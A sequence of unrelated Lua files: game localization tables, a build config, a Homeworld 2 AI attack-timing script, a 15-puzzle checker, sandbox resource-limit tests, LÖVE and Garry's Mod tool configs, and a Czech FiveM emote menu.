["Quilen"] = "Quilen", ["Raptor"] = "Raptor", ["Ravager"] = "Devastador", ["Remote Control"] = "Control remoto", ["Rhino"] = "Rinoceronte", ["Riverbeast"] = "Bestia fluvial", ["Rylak"] = "Rylak", ["Scorpid"] = "Escórpido", ["Serpent"] = "Serpiente", ["Shale Spider"] = "Araña de esquisto", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silítido", ["Spider"] = "Araña", ["Spirit Beast"] = "Bestia espíritu", ["Sporebat"] = "Esporiélago", ["Stag"] = "Venado", ["Succubus"] = "Súcubo", ["Tallstrider"] = "Zancaalta", ["Terrorguard"] = "Guarda terrorífico", ["Totem"] = "Totém", ["Turtle"] = "Tortuga", ["Undead"] = "No-muerto", ["Voidlord"] = "Señor del vacío", ["Voidwalker"] = "Abisario", ["Warp Stalker"] = "Acechador deformado", ["Wasp"] = "Avispa", ["Water Elemental"] = "Elemental de agua", ["Water Strider"] = "Zancudo acuático", ["Wild Pet"] = "Mascóta Salvaje", ["Wind Serpent"] = "Serpiente alada", ["Wolf"] = "Lobo", ["Worm"] = "Gusano", ["Wrathguard"] = "Guardia de cólera" } elseif GAME_LOCALE == "ptBR" then lib:SetCurrentTranslations { ["Aberration"] = "Aberração", ["Abyssal"] = "Abissal", ["Basilisk"] = "Basilisco", ["Bat"] = "Morcego", ["Bear"] = "Urso", ["Beast"] = "Fera", ["Beetle"] = "Besouro", ["Bird of Prey"] = "Ave de Rapina", ["Boar"] = "Javali", ["Carrion Bird"] = "Pássaro Carniçeiro", ["Cat"] = "Gato", ["Chimaera"] = "Quimera", ["Clefthoof"] = "Fenoceronte", ["Core Hound"] = "Cão-Magma", ["Crab"] = "Carangueijo", ["Crane"] = "Garça", ["Critter"] = "Bicho", ["Crocolisk"] = "Crocolisco", ["Demon"] = "Demônio", ["Devilsaur"] = "Demossauro", ["Direhorn"] = "Escornante", ["Dog"] = "Cachorro", ["Doomguard"] = "Demonarca", ["Dragonhawk"] = "Falcodrago", ["Dragonkin"] = "Dracônico", ["Elemental"] = "Elemental", ["Fel Imp"] = "Diabrete Vil", ["Felguard"] = "Guarda Vil", ["Felhunter"] = "Caçador Vil", ["Fox"] = "Raposa", ["Gas Cloud"] = "Nuvem de Gás", ["Ghoul"] = "Carniçal", ["Giant"] = "Gigante", ["Goat"] = "Bode", ["Gorilla"] = "Gorila", ["Humanoid"] = "Humanoide", ["Hydra"] = "Hidra", ["Hyena"] = "Hiena", ["Imp"] = "Diabrete", ["Mechanical"] = "Mecânico", ["Monkey"] = "Macaco", ["Moth"] = "Mariposa", ["Nether Ray"] = "Arraia Etérea", ["Non-combat Pet"] = "Mascote não-combatente", ["Not specified"] = "Não especificado", ["Observer"] = "Observador", ["Porcupine"] = "Porco-espinho", ["Quilen"] = "Quílen", ["Raptor"] = "Raptor", ["Ravager"] = "Assolador", ["Remote Control"] = "Controle Remoto", ["Rhino"] = "Rinoceronte", ["Riverbeast"] = "Fera-do-rio", ["Rylak"] = "Rylak", ["Scorpid"] = "Escorpídeo", ["Serpent"] = "Serpente", ["Shale Spider"] = "Aranha Xistosa", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silitídeo", ["Spider"] = "Aranha", ["Spirit Beast"] = "Fera Espiritual", ["Sporebat"] = "Quirósporo", ["Stag"] = "Cervo", ["Succubus"] = "Súcubo", ["Tallstrider"] = "Moa", ["Terrorguard"] = "Deimoguarda", ["Totem"] = "Totem", ["Turtle"] = "Tartaruga", ["Undead"] = "Morto-vivo", ["Voidlord"] = "Senhor do Caos", ["Voidwalker"] = "Emissário do Caos", ["Warp Stalker"] = "Espreitador Dimensional", ["Wasp"] = "Vespa", ["Water Elemental"] = "Elemental da Água", ["Water Strider"] = "Caminhante das Águas", ["Wild Pet"] = "Mascote Selvagem", ["Wind Serpent"] = "Serpente Alada", ["Wolf"] = "Lobo", ["Worm"] = "Verme", ["Wrathguard"] = "Guardião Colérico" } elseif GAME_LOCALE == "itIT" then lib:SetCurrentTranslations { ["Aberration"] = "Aberrazione", ["Abyssal"] = "Abission", ["Basilisk"] = "Basilisco", ["Bat"] = "Pipistrello", ["Bear"] = "Orso", ["Beast"] = "Bestia", ["Beetle"] = "Scarafaggio", ["Bird of Prey"] = "Rapace", ["Boar"] = "Cinghiale", ["Carrion Bird"] = "Mangiacarogne", ["Cat"] = "Gatto", ["Chimaera"] = "Chimera", ["Clefthoof"] = "Mammuceronte", ["Core Hound"] = "Segugio del Nucleo", ["Crab"] = "Granchio", ["Crane"] = "Gru", ["Critter"] = "Animale", ["Crocolisk"] = "Coccodrillo", ["Demon"] = "Demone", ["Devilsaur"] = "Sauro Demoniaco", ["Direhorn"] = "Cornofurente", ["Dog"] = "Cane", ["Doomguard"] = "Demone Guardiano", ["Dragonhawk"] = "Dragofalco", ["Dragonkin"] = "Dragoide", ["Elemental"] = "Elementale", ["Fel Imp"] = "Vilimp", ["Felguard"] = "Vilguardia", ["Felhunter"] = "Vilsegugio", ["Fox"] = "Volpe", ["Gas Cloud"] = "Nube di Gas", ["Ghoul"] = "Ghoul", ["Giant"] = "Gigante", ["Goat"] = "Capra", ["Gorilla"] = "Gorilla", ["Humanoid"] = "Umanoide", ["Hydra"] = "Idra", ["Hyena"] = "Iena", ["Imp"] = "Folletto", ["Mechanical"] = "Meccanico", ["Monkey"] = "Scimmia", ["Moth"] = "Falena", ["Nether Ray"] = "Manta Fatua", ["Non-combat Pet"] = "Animale Non combattente", ["Not specified"] = "Non Specificato", ["Observer"] = "Osservatore", ["Porcupine"] = "Istrice", ["Quilen"] = "Quilen", ["Raptor"] = "Raptor", ["Ravager"] = "Devastatore ", ["Remote Control"] = "Telecomando", ["Rhino"] = "Rinoceronte", ["Riverbeast"] = "Bestia dei Fiumi", ["Rylak"] = "Rylak", ["Scorpid"] = "Scorpione", ["Serpent"] = "Serpente", ["Shale Spider"] = "Ragno D'argilla", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silitide", ["Spider"] = "Ragno", ["Spirit Beast"] = "Spirito di Bestia", ["Sporebat"] = "Sporofago", ["Stag"] = "Cervo", ["Succubus"] = "Succube", ["Tallstrider"] = "Zampalunga", ["Terrorguard"] = "Guardia Maligna", ["Totem"] = "Totem", ["Turtle"] = "Tartaruga", ["Undead"] = "Non Morto", ["Voidlord"] = "Ombra del Vuoto", ["Voidwalker"] = "Ombra del Vuoto", ["Warp Stalker"] = "Camminatore Distorto", ["Wasp"] = "Vespa", ["Water Elemental"] = "Elementale d'Acqua", ["Water Strider"] = "Gerride", ["Wild Pet"] = "Creatura Selvaggia", ["Wind Serpent"] = "Serpente Volante", ["Wolf"] = "Lupo", ["Worm"] = "Verme", ["Wrathguard"] = "Guardia dell'Ira" } elseif GAME_LOCALE == "ruRU" then lib:SetCurrentTranslations { ["Aberration"] = "Аберрация", ["Abyssal"] = "Абиссал", ["Basilisk"] = "Василиск", ["Bat"] = "Летучая мышь", ["Bear"] = "Медведь", ["Beast"] = "Животное", ["Beetle"] = "Жук", ["Bird of Prey"] = "Сова", ["Boar"] = "Вепрь", ["Carrion Bird"] = "Падальщик", ["Cat"] = "Кошка", ["Chimaera"] = "Химера", ["Clefthoof"] = "Копытень", ["Core Hound"] = "Гончая Недр", ["Crab"] = "Краб", ["Crane"] = "Журавль", ["Critter"] = "Существо", ["Crocolisk"] = "Кроколиск", ["Demon"] = "Демон", ["Devilsaur"] = "Дьявозавр", ["Direhorn"] = "Дикорог", ["Dog"] = "Собака", ["Doomguard"] = "Стражник ужаса", ["Dragonhawk"] = "Дракондор", ["Dragonkin"] = "Дракон", ["Elemental"] = "Элементаль", ["Fel Imp"] = "Бес Скверны", ["Felguard"] = "Страж Скверны", ["Felhunter"] = "Охотник Скверны", ["Fox"] = "Лиса", ["Gas Cloud"] = "Газовое облако", ["Ghoul"] = "Вурдалак", ["Giant"] = "Великан", ["Goat"] = "Козел", ["Gorilla"] = "Горилла", ["Humanoid"] = "Гуманоид", ["Hydra"] = "Гидра", ["Hyena"] = "Гиена", ["Imp"] = "Бес", ["Mechanical"] = "Механизм", ["Monkey"] = "Обезьяна", ["Moth"] = "Мотылек", ["Nether Ray"] = "Скат Пустоты", ["Non-combat Pet"] = "Спутник", ["Not specified"] = "Не указано", ["Observer"] = "Наблюдатель", ["Porcupine"] = "Дикобраз", ["Quilen"] = "Цийлинь", ["Raptor"] = "Ящер", ["Ravager"] = "Опустошитель", ["Remote Control"] = "Управление", ["Rhino"] = "Люторог", ["Riverbeast"] = "Речное чудище", ["Rylak"] = "Рилак", ["Scorpid"] = "Скорпид", ["Serpent"] = "Змей", ["Shale Spider"] = "Сланцевый паук", ["Shivarra"] = "Шиварра", ["Silithid"] = "Силитид", ["Spider"] = "Паук", ["Spirit Beast"] = "Дух зверя", ["Sporebat"] = "Спороскат", ["Stag"] = "Олень", ["Succubus"] = "Суккуб", ["Tallstrider"] = "Долгоног", ["Terrorguard"] = "Страж Ужаса", ["Totem"] = "Тотем", ["Turtle"] = "Черепаха", ["Undead"] = "Нежить", ["Voidlord"] = "Повелитель Бездны", ["Voidwalker"] = "Демон Бездны", ["Warp Stalker"] = "Прыгуана", ["Wasp"] = "Оса", ["Water Elemental"] = "Элементаль воды", ["Water Strider"] = "Водный Долгоног", --Translation missing -- ["Wild Pet"] = "Wild Pet", ["Wind Serpent"] = "Крылатый змей", ["Wolf"] = "Волк", ["Worm"] = "Червь", ["Wrathguard"] = "Страж гнева" } elseif GAME_LOCALE == "zhCN" then lib:SetCurrentTranslations { ["Aberration"] = "畸变怪", ["Abyssal"] = "深渊魔", ["Basilisk"] = "石化蜥蜴", ["Bat"] = "蝙蝠", ["Bear"] = "熊", ["Beast"] = "野兽", ["Beetle"] = "甲虫", ["Bird of Prey"] = "猛禽", ["Boar"] = "野猪", ["Carrion Bird"] = "食腐鸟", ["Cat"] = "豹", ["Chimaera"] = "奇美拉", ["Clefthoof"] = "裂蹄牛", ["Core Hound"] = "熔岩犬", ["Crab"] = "螃蟹", ["Crane"] = "鹤", ["Critter"] = "小动物", ["Crocolisk"] = "鳄鱼", ["Demon"] = "恶魔", ["Devilsaur"] = "魔暴龙", ["Direhorn"] = "恐角龙", ["Dog"] = "狗", ["Doomguard"] = "末日守卫", ["Dragonhawk"] = "龙鹰", ["Dragonkin"] = "龙类", ["Elemental"] = "元素生物", ["Fel Imp"] = "邪能小鬼", ["Felguard"] = "恶魔卫士", ["Felhunter"] = "地狱猎犬", ["Fox"] = "狐狸", ["Gas Cloud"] = "气体云雾", ["Ghoul"] = "食尸鬼", ["Giant"] = "巨人", ["Goat"] = "山羊", ["Gorilla"] = "猩猩", ["Humanoid"] = "人型生物", ["Hydra"] = "多头蛇", ["Hyena"] = "土狼", ["Imp"] = "小鬼", ["Mechanical"] = "机械", ["Monkey"] = "猴子", ["Moth"] = "蛾子", ["Nether Ray"] = "虚空鳐", ["Non-combat Pet"] = "非战斗宠物", ["Not specified"] = "未指定", ["Observer"] = "眼魔", ["Porcupine"] = "箭猪", ["Quilen"] = "魁麟", ["Raptor"] = "迅猛龙", ["Ravager"] = "掠食者", ["Remote Control"] = "远程控制", ["Rhino"] = "犀牛", ["Riverbeast"] = "淡水兽", ["Rylak"] = "双头飞龙", ["Scorpid"] = "蝎子", ["Serpent"] = "蛇", ["Shale Spider"] = "页岩蜘蛛", ["Shivarra"] = "破坏魔", ["Silithid"] = "异种虫", ["Spider"] = "蜘蛛", ["Spirit Beast"] = "灵魂兽", ["Sporebat"] = "孢子蝠", ["Stag"] = "雄鹿", ["Succubus"] = "魅魔", ["Tallstrider"] = "陆行鸟", ["Terrorguard"] = "恐惧卫士", ["Totem"] = "图腾", ["Turtle"] = "海龟", ["Undead"] = "亡灵", ["Voidlord"] = "虚空领主", ["Voidwalker"] = "虚空行者", ["Warp Stalker"] = "迁跃捕猎者", ["Wasp"] = "巨蜂", ["Water Elemental"] = "水元素", ["Water Strider"] = "水黾", ["Wild Pet"] = "野生宠物", ["Wind Serpent"] = "风蛇", ["Wolf"] = "狼", ["Worm"] = "蠕虫", ["Wrathguard"] = "愤怒卫士" } elseif GAME_LOCALE == "zhTW" then lib:SetCurrentTranslations { ["Aberration"] = "畸變怪", ["Abyssal"] = "冥淵火", ["Basilisk"] = "蜥蜴", ["Bat"] = "蝙蝠", ["Bear"] = "熊", ["Beast"] = "野獸", ["Beetle"] = "甲殼蟲", ["Bird of Prey"] = "猛禽", ["Boar"] = "野豬", ["Carrion Bird"] = "食腐鳥", ["Cat"] = "豹", ["Chimaera"] = "奇美拉", ["Clefthoof"] = "裂蹄", ["Core Hound"] = "熔核犬", ["Crab"] = "螃蟹", ["Crane"] = "鶴", ["Critter"] = "小動物", ["Crocolisk"] = "鱷魚", ["Demon"] = "惡魔", ["Devilsaur"] = "魔暴龍", ["Direhorn"] = "恐角龍", ["Dog"] = "狗", ["Doomguard"] = "末日守衛", ["Dragonhawk"] = "龍鷹", ["Dragonkin"] = "龍類", ["Elemental"] = "元素生物", ["Fel Imp"] = "魔化小鬼", ["Felguard"] = "惡魔守衛", ["Felhunter"] = "惡魔獵犬", ["Fox"] = "狐狸", ["Gas Cloud"] = "氣體雲", ["Ghoul"] = "食屍鬼", ["Giant"] = "巨人", ["Goat"] = "山羊", ["Gorilla"] = "猩猩", ["Humanoid"] = "人型生物", ["Hydra"] = "多頭蛇", ["Hyena"] = "土狼", ["Imp"] = "小鬼", ["Mechanical"] = "機械", ["Monkey"] = "猴子", ["Moth"] = "蛾", ["Nether Ray"] = "虛空鰭刺", ["Non-combat Pet"] = "非戰鬥寵物", ["Not specified"] = "不明", ["Observer"] = "觀察者", ["Porcupine"] = "豪豬", ["Quilen"] = "麒麟獸", ["Raptor"] = "迅猛龍", ["Ravager"] = "劫毀者", ["Remote Control"] = "遙控", ["Rhino"] = "犀牛", ["Riverbeast"] = "河獸", ["Rylak"] = "雙頭飛龍", ["Scorpid"] = "蠍子", ["Serpent"] = "毒蛇", ["Shale Spider"] = "岩蛛", ["Shivarra"] = "希瓦拉", ["Silithid"] = "異種蟲族", ["Spider"] = "蜘蛛", ["Spirit Beast"] = "靈獸", ["Sporebat"] = "孢子蝙蝠", ["Stag"] = "雄鹿", ["Succubus"] = "魅魔", ["Tallstrider"] = "陸行鳥", ["Terrorguard"] = "懼護衛", ["Totem"] = "圖騰", ["Turtle"] = "海龜", ["Undead"] = "不死族", ["Voidlord"] = "虛無領主", ["Voidwalker"] = "虛無行者", ["Warp Stalker"] = "扭曲巡者", ["Wasp"] = "黃蜂", ["Water Elemental"] = "水元素", ["Water Strider"] = "水黽", ["Wild Pet"] = "野生寵物", ["Wind Serpent"] = "風蛇", ["Wolf"] = "狼", ["Worm"] = "蟲", ["Wrathguard"] = "憤怒守衛" } else error(("%s: Locale %q not supported"):format(MAJOR_VERSION, GAME_LOCALE)) end
project "angelscript" kind "StaticLib" language "C++" cppdialect "C++11" staticruntime "on" includedirs { "angelscript/include/angelscript" } files { "angelscript/source/**.cpp", "angelscript/source/**.h", "angelscript/add_on/**.cpp", "angelscript/add_on/**.h" } if (os.host() == "windows") then --files { -- "angelscript/source/as_callfunc_x64_msvc.cpp", -- "angelscript/source/as_callfunc_x64_msvc_asm.asm" --} filter "configurations:Debug" defines { "DEBUG", "WIN32" } symbols "On" filter "configurations:Release" defines { "RELEASE", "WIN32" } optimize "On" else filter "configurations:Debug" runtime "Debug" symbols "on" filter "configurations:Release" runtime "Release" optimize "on" end
-- Pretty-Printed using HW2 Pretty-Printer 1.27 by Mikail. -- this script manages the AI military. This includes group sizes, attack times, attack defend percentages, aitrace("LOADING CPU MILITARY") function CpuMilitary_Init() cp_attackPercent = 100 if (g_LOD == 0) then cp_attackPercent = 50 end -- number of ships in group needed before it attacks OR value (if either exceed this number the ships will become active to attack defend) -- this is also overridden by other factors (or should be) cp_minSquadGroupSize = 5 cp_minSquadGroupValue = 200 cp_maxGroupSize = 14 cp_maxGroupValue = 200 -- number of units a group will have before it will always attack - even if enemy has more/ better units cp_forceAttackGroupSize = 14 if (g_LOD == 1) then cp_forceAttackGroupSize = 12 end if (g_LOD == 0) then cp_forceAttackGroupSize = 8 end -- what percentage modifier is used by the attackgroup when evaluating a target - so 70% means the enemy is reduced to 70% value increasing the chance of an attack cp_initThreatModifier = 0.95 -- if easy attack even at 55% of value - making the AI attack more often - but hopefully with less dudes (so they die more often) if (g_LOD == 0) then cp_initThreatModifier = 0.5 elseif (g_LOD == 1) then cp_initThreatModifier = 0.75 end -- init so there is always some value here sg_moreEnemies = 0 -- random number used for sending wave attacks sg_militaryRand = Rand(100) if (Override_MilitaryInit) then Override_MilitaryInit() end end function CpuMilitary_Process() -- calculate how many more enemies then allies there are local numEnemies = PlayersAlive(player_enemy) local numAllies = PlayersAlive(player_ally) sg_moreEnemies = numEnemies - numAllies -- modify group vars (like minsize, etc) dynamically Logic_military_groupvars() -- run rules that take the current state into consideration (underattack, losing, winning,...) and deal with military Logic_military_attackrules() -- deals with 'when' we should attack and how often Logic_military_setattacktimer() -- set attack percentages - based on number of enemies and allies, distances, winning vs losing end function Logic_military_groupvars() cp_minSquadGroupSize = 4 cp_minSquadGroupValue = 150 if (sg_moreEnemies > 0 and s_selfTotalValue < s_enemyTotalValue * 2) then cp_minSquadGroupSize = cp_minSquadGroupSize + 2 cp_minSquadGroupValue = cp_minSquadGroupValue + 75 else -- if we are winning, meaning we have quite a bit more military then the enemy then reduce minsize and value --aitrace("playerthreat:"..playercompare) if (s_militaryStrength > 120) then cp_minSquadGroupSize = 3 cp_minSquadGroupValue = 120 end end end function Logic_military_attackrules() -- if on easy and we are the AI is winning after 20 minutes put military on full attack if (g_LOD == 0) then if (gameTime() > 20 * 60 and s_militaryStrength > 0) then cp_attackPercent = 100 end -- if we are under attack move more dudes over to defence -- if enemy has twice as much military as the AI does then go on defence if (s_selfTotalValue * 2 < s_enemyTotalValue and s_selfTotalValue > 150) then -- take a defensive stance cp_attackPercent = 0 aitrace("I'm Losing!! Go on defence") end end end -- function that gets called on a timer function attack_now_timer() aitrace("Script:calling attack_now_timer") -- AttackNow() Rule_Remove("attack_now_timer") end -- functions that begin with Logic_ are replaceable chunks function Logic_military_setattacktimer() -- when does the AI start attacking local timedelay = 600 -- based on map size and other factors -- how often does it send another wave local wavedelay = 240 + sg_militaryRand * 0.6 if (g_LOD == 1) then timedelay = 400 wavedelay = 160 + sg_militaryRand * 0.4 end if (g_LOD >= 2) then timedelay = 0 wavedelay = 45 + sg_militaryRand * 0.3 end -- INSERT HERE ANY LOGIC MODIFACTIONS TO timedelay or wavedelay local gametime = gameTime() -- has the start time gone by or have we received a certain level of damage -- issue: CPU can't determine if teammates have been attacked if (gametime >= timedelay or HaveBeenAttacked() == 1) then -- insert other logic that would issue an attack if (Rule_Exists("attack_now_timer") == 0) then aitrace("Script: Attacktimer added") -- this will also call attacknow instantly Rule_AddInterval("attack_now_timer", wavedelay) end end end
function indexof (i, l) local index = {} for k, v in pairs(l) do index[v] = k end return index[i] end -- Create a list with all numbers between 'from' to and with 'to' function list (from, to) local l = {} while from <= to do l[#l+1] = from from = from + 1 end return l; end -- When making a move, the tiles swap indexes function swap (list, n, m) i, l = 0, {} while #l < #list do i = i + 1 if i == indexof(n, list) then l[i] = m elseif i == indexof(m, list) then l[i] = n end end return l; end -- Find the parity if permutation for correct anwser function parity (start, endt, m) s = indexof(m, start) e = indexof(m, endt) return (s%4 - e%4 + s//4 - e//4) % 2; end -- Test if transposition is possible for a given start and end permutation. function solvable (start, endt, m) step = 0 last = endt while not (start == last) do step = step + 1 last = start if not start[(step%#start)+1] == endt[(step%#endt)+1] then start = swap(start, start[step%#start], endt[step%#endt]) end print(step, table.concat(start, " ")) end return step%2 == parity(start, endt, m); end -- The current permutation arrangment = { 1, 2, 3, 4, 12,13,14, 5, 11,16,15, 6, 10, 9, 8, 7 } print(solvable(arrangment, list(1,16), 16)) -- Following the scheme; starting from index 1 to 16 where 16 is the blank -- Spiral (Solvable) spiral = { 1, 2, 3, 4, 12,13,14, 5, 11,16,15, 6, 10, 9, 8, 7 } -- Reverse order (Unsolvable) reverse = { 15,14,13,12, 11,10, 9, 8, 7, 6, 5, 4, 3, 2, 1,16 } -- -- Sam loyds (Unsolvable) samloyd = { 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12, 13,15,14,16 }
local s = "helLO" local s1000 = s:rep(1000) -- string.lower, string.upper, string.reverse consume memory do print(runtime.callcontext({kill={memory=4000}}, string.lower, s)) --> =done hello print(runtime.callcontext({kill={memory=4000}}, string.lower, s1000)) --> =killed -- string.upper consumes memory print(runtime.callcontext({kill={memory=4000}}, string.upper, s)) --> =done HELLO print(runtime.callcontext({kill={memory=4000}}, string.upper, s1000)) --> =killed -- string.reverse consumes memory print(runtime.callcontext({kill={memory=4000}}, string.reverse, s)) --> =done OLleh print(runtime.callcontext({kill={memory=4000}}, string.reverse, s1000)) --> =killed end -- string.sub consumes memory do print(runtime.callcontext({kill={memory=1000}}, string.sub, s, 3, 2000)) --> =done lLO print(runtime.callcontext({kill={memory=1000}}, string.sub, s1000, 3, 2000)) --> =killed end -- string.byte consumes memory do -- helper function to consume the returned bytes from string.byte. function len(s) return select('#', s:byte(1, #s)) end print(len("foobar")) --> =6 print(runtime.callcontext({kill={memory=10000}}, len, s1000)) --> =killed -- string.char consumes memory print(runtime.callcontext({kill={memory=1000}}, string.char, s:byte(1, #s))) --> =done helLO print(runtime.callcontext({kill={memory=1000}}, string.char, s1000:byte(1, 1200))) --> =killed -- string.rep consumes memory print(runtime.callcontext({kill={memory=1000}}, string.rep, "ha", 10)) --> =done hahahahahahahahahaha print(runtime.callcontext({kill={memory=1000}}, string.rep, "ha", 600)) --> =killed end -- string.dump consumes memory and cpu do local function mk(n) return load( "x = 0\n" .. ("x = x + 1"):rep(n, "\n") .. "\nreturn x" ) end print(mk(10)()) --> =10 -- A function with 12 lines is ok for CPU local ctx = runtime.callcontext({kill={cpu=1000}}, string.dump, mk(10)) print(ctx) --> =done -- One with 500 lines runs out of CPU print(runtime.callcontext({kill={cpu=1000}}, string.dump, mk(500))) --> =killed -- A function with 12 lines is ok for mem local ctx = runtime.callcontext({kill={memory=1000}}, string.dump, mk(10)) print(ctx) --> =done -- One with 500 lines runs out of mem print(runtime.callcontext({kill={cpu=1000}}, string.dump, mk(500))) --> =killed end -- string.format consumes memory and cpu do -- a long format needs to be scanned and uses cpu print(runtime.callcontext({kill={cpu=1000}}, string.format, ("a"):rep(50))) --> =done aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa print(runtime.callcontext({kill={cpu=1000}}, string.format, ("a"):rep(1000))) --> =killed -- format requires memory to build the formatted string local s = "aa" print(runtime.callcontext({kill={memory=1000}}, string.format, "%s %s %s %s %s", s, s, s, s, s)) --> =done aa aa aa aa aa s = ("a"):rep(1000) print(runtime.callcontext({kill={memory=5000}}, string.format, "%s %s %s %s %s", s, s, s, s, s)) --> =killed end
w_width = 1366 w_height = 768 function love.conf(t) t.window.title = "Pong" t.window.width = w_width t.window.height = w_height t.window.borderless = true t.window.resizable = false end
WireToolSetup.setCategory( "Vehicle Control" ) WireToolSetup.open( "exit_point", "Vehicle Exit Point", "gmod_wire_exit_point", nil, "Exit Points" ) if CLIENT then language.Add( "tool."..TOOL.Mode..".name", TOOL.Name.." Tool (Wire)" ) language.Add( "tool."..TOOL.Mode..".desc", "Spawns a "..TOOL.Name ) WireToolSetup.setToolMenuIcon( "icon16/door_out.png" ) end WireToolSetup.BaseLang() WireToolSetup.SetupMax(6) TOOL.ClientConVar = { model = "models/jaanus/wiretool/wiretool_range.mdl", } WireToolSetup.SetupLinking(false, "vehicle") function TOOL.BuildCPanel(panel) ModelPlug_AddToCPanel(panel, "Misc_Tools", "wire_exit_point", true) end
Config = {} Config.Animations = { { name = 'festives', label = 'Slavnostní', items = { {label = "Kouření cigarety", type = "scenario", data = {anim = "WORLD_HUMAN_SMOKING"}}, {label = "Hraní na hudební nástroj", type = "scenario", data = {anim = "WORLD_HUMAN_MUSICIAN"}}, {label = "DJ", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@dj", anim = "dj"}}, {label = "Pití", type = "scenario", data = {anim = "WORLD_HUMAN_DRINKING"}}, {label = "Párty", type = "scenario", data = {anim = "WORLD_HUMAN_PARTYING"}}, {label = "Hraní na imaginární kytaru", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@air_guitar", anim = "air_guitar"}}, {label = "Oslavování", type = "anim", data = {lib = "anim@mp_player_intcelebrationfemale@air_shagging", anim = "air_shagging"}}, {label = "Rock'n'roll", type = "anim", data = {lib = "mp_player_int_upperrock", anim = "mp_player_int_rock"}}, -- {label = "Kouření jointu", type = "scenario", data = {anim = "WORLD_HUMAN_SMOKING_POT"}}, {label = "Ožralecké balancování", type = "anim", data = {lib = "amb@world_human_bum_standing@drunk@idle_a", anim = "idle_a"}}, {label = "Zvracení v autě", type = "anim", data = {lib = "oddjobs@taxi@tie", anim = "vomit_outside"}}, } }, { name = 'greetings', label = 'Pozdravy', items = { {label = "Pozdrav", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_hello"}}, {label = "Podání ruky", type = "anim", data = {lib = "mp_common", anim = "givetake1_a"}}, {label = "Podání ruky 2", type = "anim", data = {lib = "mp_ped_interaction", anim = "handshake_guy_a"}}, {label = "Gangsterské objetí", type = "anim", data = {lib = "mp_ped_interaction", anim = "hugs_guy_a"}}, {label = "Salutování", type = "anim", data = {lib = "mp_player_int_uppersalute", anim = "mp_player_int_salute"}}, } }, { name = 'work', label = 'Práce', items = { {label = "Podezřelý: vzdání se policii", type = "anim", data = {lib = "random@arrests@busted", anim = "idle_c"}}, {label = "Rybaření", type = "scenario", data = {anim = "world_human_stand_fishing"}}, {label = "Policie: vyšetřování", type = "anim", data = {lib = "amb@code_human_police_investigate@idle_b", anim = "idle_f"}}, {label = "Policie: mluvení do vysílačky", type = "anim", data = {lib = "random@arrests", anim = "generic_radio_chatter"}}, {label = "Policie: řízení dopravy", type = "scenario", data = {anim = "WORLD_HUMAN_CAR_PARK_ATTENDANT"}}, {label = "Policie: dalekohled", type = "scenario", data = {anim = "WORLD_HUMAN_BINOCULARS"}}, {label = "Zemědělství: sbírání", type = "scenario", data = {anim = "world_human_gardener_plant"}}, {label = "Mechanik: oprava motoru", type = "anim", data = {lib = "mini@repair", anim = "fixing_a_ped"}}, {label = "Lékař: prohlídka", type = "scenario", data = {anim = "CODE_HUMAN_MEDIC_KNEEL"}}, {label = "Taxi: mluvení k zákazníkovi", type = "anim", data = {lib = "oddjobs@taxi@driver", anim = "leanover_idle"}}, {label = "Taxi: dávání faktury", type = "anim", data = {lib = "oddjobs@taxi@cyi", anim = "std_hand_off_ps_passenger"}}, {label = "Prodavač: podávání zboží", type = "anim", data = {lib = "mp_am_hold_up", anim = "purchase_beerbox_shopkeeper"}}, {label = "Barman: nalití panáka", type = "anim", data = {lib = "mini@drinking", anim = "shots_barman_b"}}, {label = "Novinář: focení", type = "scenario", data = {anim = "WORLD_HUMAN_PAPARAZZI"}}, {label = "Jiná práce: zapisování poznámek", type = "scenario", data = {anim = "WORLD_HUMAN_CLIPBOARD"}}, {label = "Jiná práce: ťukání kladivem", type = "scenario", data = {anim = "WORLD_HUMAN_HAMMERING"}}, {label = "Tulák: držení cedule", type = "scenario", data = {anim = "WORLD_HUMAN_BUM_FREEWAY"}}, {label = "Tulák: imitace sochy", type = "scenario", data = {anim = "WORLD_HUMAN_HUMAN_STATUE"}}, } }, { name = 'humors', label = 'Nálady', items = { {label = "Potlesk", type = "scenario", data = {anim = "WORLD_HUMAN_CHEERING"}}, {label = "Super", type = "anim", data = {lib = "mp_action", anim = "thanks_male_06"}}, {label = "Ukázání prstem", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_point"}}, {label = "Pojď sem", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_come_here_soft"}}, {label = "Tak co je?", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_bring_it_on"}}, {label = "Já?", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_me"}}, {label = "Já to věděl sakra", type = "anim", data = {lib = "anim@am_hold_up@male", anim = "shoplift_high"}}, {label = "Postávání", type = "scenario", data = {lib = "amb@world_human_jog_standing@male@idle_b", anim = "idle_d"}}, {label = "Je to v háji", type = "scenario", data = {lib = "amb@world_human_bum_standing@depressed@idle_a", anim = "idle_a"}}, {label = "Facepalm", type = "anim", data = {lib = "anim@mp_player_intcelebrationmale@face_palm", anim = "face_palm"}}, {label = "Klídek", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_easy_now"}}, {label = "Co jsem to udělal?", type = "anim", data = {lib = "oddjobs@assassinate@multi@", anim = "react_big_variations_a"}}, {label = "Oh ne", type = "anim", data = {lib = "amb@code_human_cower_stand@male@react_cowering", anim = "base_right"}}, {label = "Bitka?", type = "anim", data = {lib = "anim@deathmatch_intros@unarmed", anim = "intro_male_unarmed_e"}}, {label = "To snad není možné!", type = "anim", data = {lib = "gestures@m@standing@casual", anim = "gesture_damn"}}, {label = "Polibek", type = "anim", data = {lib = "mp_ped_interaction", anim = "kisses_guy_a"}}, {label = "Fakování", type = "anim", data = {lib = "mp_player_int_upperfinger", anim = "mp_player_int_finger_01_enter"}}, {label = "Onanování", type = "anim", data = {lib = "mp_player_int_upperwank", anim = "mp_player_int_wank_01"}}, {label = "Kulka do hlavy", type = "anim", data = {lib = "mp_suicide", anim = "pistol"}}, } }, { name = 'sports', label = 'Sporty', items = { {label = "Ukázání svalů", type = "anim", data = {lib = "amb@world_human_muscle_flex@arms_at_side@base", anim = "base"}}, {label = 